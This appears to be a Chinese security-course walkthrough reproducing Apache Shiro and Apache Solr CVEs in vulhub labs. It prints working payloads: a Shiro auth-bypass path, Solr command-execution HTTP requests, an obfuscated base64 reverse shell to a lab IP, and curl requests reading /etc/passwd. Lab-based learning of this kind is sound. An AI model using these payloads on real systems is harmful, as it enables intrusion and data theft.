第64天:服务攻防-框架安全&CVE复现&Apache Shiro&Apache Solr

目录

思维导图

[案例一:Apache Shiro-组件框架安全](#案例一:Apache Shiro-组件框架安全)

[shiro反序列化 cve_2016_4437](#shiro反序列化 cve_2016_4437)

CVE-2020-17523

CVE-2020-1957

[案例二:Apache Solr-组件框架安全](#案例二:Apache Solr-组件框架安全)

[远程命令执行 RCE(CVE-2017-12629)](#远程命令执行 RCE(CVE-2017-12629))

[任意文件读取 AND 命令执行(CVE-2019-17558)](#任意文件读取 AND 命令执行(CVE-2019-17558))

远程命令执行漏洞(CVE-2019-0193)

文件读取与SSRF漏洞


思维导图

案例一:Apache Shiro-组件框架安全

阿里云漏洞库: https://avd.aliyun.com/search?q=shiro

常见漏洞

Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】

Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】

Apache Shiro < 1.4.2 cookie oracle padding 漏洞 【CVE-2019-12442】

Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】

Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】

Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】

Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】

Apache Shiro 是一个强大且易用的 Java 安全框架,用于身份验证、授权、密码和会话管理

判断:大多会发生在登录处,返回包里包含 remeberMe=deleteMe 字段

shiro反序列化 cve_2016_4437

靶场环境:

反序列化可以直接利用工具

执行效果

命令执行

CVE-2020-17523

影响版本:Apache Shiro < 1.7.1

靶场环境: https://github.com/jweny/shiro-cve-2020-17523

搭建起来

访问/admin/xx会自动跳转到login,意思时不登陆不能访问

但是访问/admin/%20会自动绕过登录

查看版本的位置

CVE-2020-1957

影响范围:Apache Shiro < 1.5.3

靶场环境: https://vulhub.org/#/environments/shiro/CVE-2020-1957/

启动起来以后需要登录

访问admin时会自动跳转到login.html

Poc

复制代码
/xxx/..;/admin/

直接绕过登录限制,直接登录admin

案例二:Apache Solr-组件框架安全

Apache Solr 是一个开源的搜索服务,使用 Java 语言开发,主要基于 HTTP 和Apache Lucene 实现的。Solr 是一个高性能,采用 Java5 开发,基于 Lucene 的全文搜索服务器。

漏洞库: https://avd.aliyun.com/search?q=solr

常见漏洞

远程命令执行 RCE(CVE-2017-12629)

远程命令执行 XXE(CVE-2017-12629)

任意文件读取 AND 命令执行(CVE-2019-17558)

远程命令执行漏洞(CVE-2019-0192)

远程命令执行漏洞(CVE-2019-0193)

未授权上传漏洞(CVE-2020-13957)

Apache Solr SSRF (CVE-2021-27905)

远程命令执行 RCE(CVE-2017-12629)

solr一般都有这样的配置页面

访问抓包发送到repeater,设置一个listener

复制代码
POST /solr/demo/config HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 158

{"add-listener":{"event":"postCommit","name":"newlistener","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/success"]}}

然后设置包update,触发刚才的操作listener

复制代码
POST /solr/demo/update HTTP/1.1
Host: your-ip
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 15

[{"id":"test"}]

进入docker中查看

任意文件读取 AND 命令执行(CVE-2019-17558)

靶场环境: Vulhub - Docker-Compose file for vulnerability environment

脚本地址:https://github.com/jas502n/solr_rce

需要用python2执行,vulfocus上靶场可能有问题了,无法执行,执行效果如图
另一款交互式脚本

python 复制代码
https://github.com/zhzyker/exphub/blob/master/solr/cve-2019-17558_cmd.py

远程命令执行漏洞(CVE-2019-0193)

靶场环境:Vulhub - Docker-Compose file for vulnerability environment

启动该环境除了正常步骤以外,还需要

python 复制代码
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db -force

影响版本:Apache Solr < 8.2.0 版本

该漏洞真实环境要利用一般得先登录

利用过程

创建文件

python 复制代码
<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

把代码换成反弹shell的代码

python 复制代码
<dataConfig>
    <dataSource type="URLDataSource"/>
    <script><![CDATA[
        function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzIvNTU2NiAwPiYx}|{base64,-d}|{bash,-i}");}
]]></script>
    <document>
    <entity name="stackoverflow"
        url="https://stackoverflow.com/feeds/tag/solr"
        processor="XPathEntityProcessor"
        forEach="/feed"
        transformer="script:poc" />
    </document>
</dataConfig>

开启监听 成功反弹shell

文件读取与SSRF漏洞

靶场位置:https://vulhub.org/#/environments/solr/Remote-Streaming-Fileread/

首先先获取数据库名

python 复制代码
http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json

获取数据库名

触发访问

python 复制代码
curl -i -s -k -X $'POST' \
     -H $'Content-Type: application/json' --data-binary $'{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}' \
     $'http://your-ip:8983/solr/demo/config'

读取任意文件

python 复制代码
curl -i -s -k'http://your-ip:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'

可以利用ssrf探测内网做信息收集,这里用dnslog做简单的测试

相关推荐
叶落阁主3 小时前
Tailscale 完全指南:从入门到私有 DERP 部署
运维·安全·远程工作
用户962377954482 天前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机2 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954482 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star2 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954482 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher4 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行7 天前
网络安全总结
安全·web安全
red1giant_star7 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全